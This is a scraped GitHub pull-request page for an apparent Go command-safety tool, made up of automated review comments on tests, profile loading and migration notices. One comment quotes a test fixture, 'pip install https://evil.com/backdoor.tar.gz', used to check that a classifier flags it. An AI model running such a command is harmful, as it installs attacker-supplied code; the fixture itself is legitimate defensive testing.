  • .tickets/fus-g4vs.md
  • .tickets/fus-tvat.md
  • .tickets/fus-e3pw.md
  • .tickets/fus-r2kf.md
  • .tickets/fus-llzr.md
  • .tickets/fus-lzxe.md
  • .tickets/fus-n4hd.md
  • .tickets/fus-j81l.md
  • .tickets/fus-p3cw.md
  • .tickets/fus-5tax.md
  • .tickets/fus-b2yw.md
  • .tickets/fus-l9vc.md
  • .tickets/fus-k3tn.md
  • .tickets/fus-fx68.md
  • .tickets/fus-n4d6.md
  • .tickets/fus-3n90.md
  • .tickets/fus-jlcm.md
  • .tickets/fus-v9mr.md
  • .tickets/fus-j7ta.md
  • .tickets/fus-jq6z.md
  • .tickets/fus-wrx7.md
  • .tickets/fus-m1wd.md
  • .tickets/fus-ipkg.md
  • .tickets/fus-rh1w.md
  • .tickets/fus-j6qd.md
  • .tickets/fus-r7km.md
  • .tickets/fus-d8fn.md
  • .tickets/fus-w2ht.md
  • .tickets/fus-q8xp.md
  • .tickets/fus-t4vn.md
  • .tickets/fus-p3yf.md
  • .tickets/fus-f4qx.md
  • .tickets/fus-h5rz.md
  • .tickets/fus-h6sz.md
  • .tickets/fus-6qhn.md
✅ Files skipped from review due to trivial changes (2)
  • .gitignore
  • internal/releasecheck/releasecheck_test.go
🚧 Files skipped from review as they are similar to previous changes (3)
  • internal/cli/doctor.go
  • internal/adapters/profile_behavior_integration_test.go
  • internal/cli/doctor_test.go

Comment thread internal/judge/provider.go Outdated
Comment thread internal/judge/provider_test.go
@kody-ai

This comment has been minimized.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/judge/provider_test.go`:
- Around line 184-186: The test sets HOME via t.Setenv("HOME", homeDir) but on
Windows os.UserHomeDir() reads USERPROFILE, causing portability issues; update
the test setup to also set USERPROFILE to homeDir (e.g., using
t.Setenv("USERPROFILE", homeDir)) so the variables homeDir and authPath resolve
correctly across platforms (keep the existing HOME set and add USERPROFILE in
the same test initialization).
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 71a65bec-7cab-4ff2-baa0-a2401e4c8ffd

📥 Commits

Reviewing files that changed from the base of the PR and between 856f6c8 and 9dfc8d2.

📒 Files selected for processing (2)
  • internal/judge/provider.go
  • internal/judge/provider_test.go

Comment thread internal/judge/provider_test.go
@kody-ai

This comment has been minimized.

Comment thread internal/judge/prompt_test.go
Comment thread internal/policy/builtins_security.go
Comment thread internal/policy/builtins_security.go
Comment thread internal/tui/approvals_view_test.go

@kody-ai kody-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found critical issues please review the requested changes

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (1)
internal/cli/migration_notice.go (1)

24-26: Consider making notice write failure non-fatal for consistency.

The marker persistence failure (lines 27-29) is treated as a warning, but a notice write failure returns an error that could fail the entire command. Since this is an informational migration notice, consider handling both failures uniformly as warnings.

♻️ Optional: Consistent non-fatal error handling
-	if err := writeMigrationNotice(cmd.ErrOrStderr()); err != nil {
-		return err
-	}
+	if err := writeMigrationNotice(cmd.ErrOrStderr()); err != nil {
+		// Non-fatal: notice is informational only
+		return nil
+	}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/migration_notice.go` around lines 24 - 26, The
writeMigrationNotice call currently returns the error and aborts the command;
change its error handling to be non-fatal and consistent with the
marker-persistence handling by logging a warning instead of returning—catch the
error from writeMigrationNotice(cmd.ErrOrStderr()), write a warning message to
cmd.ErrOrStderr() (including err details) and continue execution (do not return
the error); mirror the existing marker persistence warning behavior so both
failures are treated uniformly.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/tui/approvals_view.go`:
- Around line 607-613: currentProfile should not swallow config.LoadConfig
errors — change its signature to return (string, error), call
config.LoadConfig(config.ConfigPath()) and if err != nil return "", err (do not
map load errors to config.ProfileRelaxed); only when cfg != nil and err == nil
evaluate cfg.Profile and return config.ProfileRelaxed for blank profiles,
otherwise return the trimmed profile. Update all callers of currentProfile to
handle the error accordingly.

In `@testdata/fixtures/commands.yaml`:
- Around line 563-565: Update the YAML fixture entry where command: "pip install
https://evil.com/backdoor.tar.gz" and expected: "CAUTION" so the description no
longer says "requires approval"; change the description field to reflect the new
expected result (e.g., "pip install from URL flagged as CAUTION") ensuring the
description text matches the expected: "CAUTION" outcome.

---

Nitpick comments:
In `@internal/cli/migration_notice.go`:
- Around line 24-26: The writeMigrationNotice call currently returns the error
and aborts the command; change its error handling to be non-fatal and consistent
with the marker-persistence handling by logging a warning instead of
returning—catch the error from writeMigrationNotice(cmd.ErrOrStderr()), write a
warning message to cmd.ErrOrStderr() (including err details) and continue
execution (do not return the error); mirror the existing marker persistence
warning behavior so both failures are treated uniformly.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: f588ab57-e461-408e-8097-88fc4bcd7850

📥 Commits

Reviewing files that changed from the base of the PR and between 9dfc8d2 and 9182989.

📒 Files selected for processing (17)
  • internal/adapters/hook.go
  • internal/adapters/hook_test.go
  • internal/adapters/native_file_policy.go
  • internal/cli/config_scaffold.go
  • internal/cli/doctor_test.go
  • internal/cli/install_test.go
  • internal/cli/migration_notice.go
  • internal/cli/migration_notice_test.go
  • internal/core/classify_test.go
  • internal/db/db_test.go
  • internal/db/schema.go
  • internal/judge/prompt.go
  • internal/judge/prompt_test.go
  • internal/policy/builtins_security.go
  • internal/tui/approvals_view.go
  • internal/tui/approvals_view_test.go
  • testdata/fixtures/commands.yaml
✅ Files skipped from review due to trivial changes (2)
  • internal/judge/prompt.go
  • internal/db/schema.go
🚧 Files skipped from review as they are similar to previous changes (8)
  • internal/cli/install_test.go
  • internal/cli/config_scaffold.go
  • internal/policy/builtins_security.go
  • internal/cli/doctor_test.go
  • internal/adapters/hook.go
  • internal/adapters/hook_test.go
  • internal/cli/migration_notice_test.go
  • internal/core/classify_test.go

Comment thread internal/tui/approvals_view.go
Comment thread testdata/fixtures/commands.yaml Outdated
@kody-ai

kody-ai Bot commented Apr 1, 2026

Copy link
Copy Markdown

Kody Review Complete

Great news! 🎉
No issues were found that match your current review configurations.

Keep up the excellent work! 🚀

Kody Guide: Usage and Configuration
Interacting with Kody
  • Request a Review: Ask Kody to review your PR manually by adding a comment with the @kody start-review command at the root of your PR.

  • Validate Business Logic: Ask Kody to validate your code against business rules by adding a comment with the @kody -v business-logic command.

  • Provide Feedback: Help Kody learn and improve by reacting to its comments with a 👍 for helpful suggestions or a 👎 if improvements are needed.

Current Kody Configuration
Review Options

The following review options are enabled or disabled:

Options Enabled
Bug
Performance
Security
Cross File
Business Logic

Access your configuration settings here.

@php-workx
php-workx merged commit 84bc2bb into main Apr 1, 2026
12 checks passed
@php-workx
php-workx deleted the feat/tiered-architecture branch April 1, 2026 08:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant